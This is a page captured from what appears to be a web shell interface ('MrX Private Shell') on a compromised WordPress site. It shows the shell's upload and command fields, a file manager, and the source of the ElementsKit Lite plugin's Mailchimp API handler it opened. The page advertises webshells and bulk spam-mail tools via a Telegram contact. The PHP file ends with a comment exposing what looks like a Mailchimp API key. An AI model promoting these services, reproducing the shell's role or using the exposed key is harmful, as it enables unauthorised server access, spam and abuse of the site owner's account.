__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace ElementsKit_Lite;

use \Elementor\ElementsKit_Widget_Mail_Chimp_Handler;

class ElementsKit_Widget_Mail_Chimp_Api extends Core\Handler_Api {

	public function config(){
        $this->prefix = 'widget/mailchimp';
    }

    public function get_sendmail(){
		$return = ['success' => [], 'error' => [] ];

		$nonce = $this->request->get_header( 'X-WP-Nonce' );
		if ( empty( $nonce ) || ! wp_verify_nonce( $nonce, 'wp_rest' ) ) {
			$return['error'] = esc_html__( 'Security check failed. Please refresh the page and try again.', 'elementskit-lite' );
			return $return;
		}

		$dataApi 	= ElementsKit_Widget_Mail_Chimp_Handler::get_data();

		$token 		= isset($dataApi['token']) ? $dataApi['token'] : '';
		$listed 	=  $this->request['listed'];

		$email  	= $this->request['email'];
	    $firstname  = $this->request['firstname'];
	    $lastname  	= $this->request['lastname'];
	    $phone  	= $this->request['phone'];

		$data = [
			'email_address' => (($email != '') ? $email : ''),
			'status_if_new' => 'subscribed',
			'merge_fields' => [
				'FNAME' => (($firstname != '') ? $firstname : ''),
				'LNAME' => (($lastname != '') ? $lastname : ''),
				'PHONE' => (($phone != '') ? $phone : ''),
			],
		];

		if(!empty($this->request['double_opt_in']) && $this->request['double_opt_in'] === 'yes') {
			$data['status'] = 'pending';
		} else {
			$data['status'] = 'subscribed';
		}

		$server = explode('-', $token);
		if( !is_array($server) || empty($token) || !isset($server[1]) ){
			$return['error'] = esc_html__( 'Please set API Key into Dashboard User Data. ', 'elementskit-lite' );
			return $return;
		}

		$url = 'https://'.$server[1].'.api.mailchimp.com/3.0/lists/'.$listed.'/members/';

		$response = wp_remote_post( $url, [
			'method' => 'POST',
			'data_format' => 'body',
			'timeout' => 45,
			'headers' => [

							'Authorization' => 'apikey '.$token,
							'Content-Type' => 'application/json; charset=utf-8'
					],
			'body' => wp_json_encode($data	)
			]
		);
		if ( is_wp_error( $response ) ) {
		   $error_message = $response->get_error_message();
			$return['error'] = "Something went wrong: $error_message";
		} else {
			$return['success'] = $response;
		}

		return $return;
    }
}
//https://us20.api.mailchimp.com/3.0/lists?apikey=24550c8cb06076781d51a80274a52878-us20

Filemanager

Name Type Size Permission Actions
classes Folder 0775
mail-chimp-api.php File 2.27 KB 0664
mail-chimp-handler.php File 1.4 KB 0664
mail-chimp.php File 57.28 KB 0664
Filemanager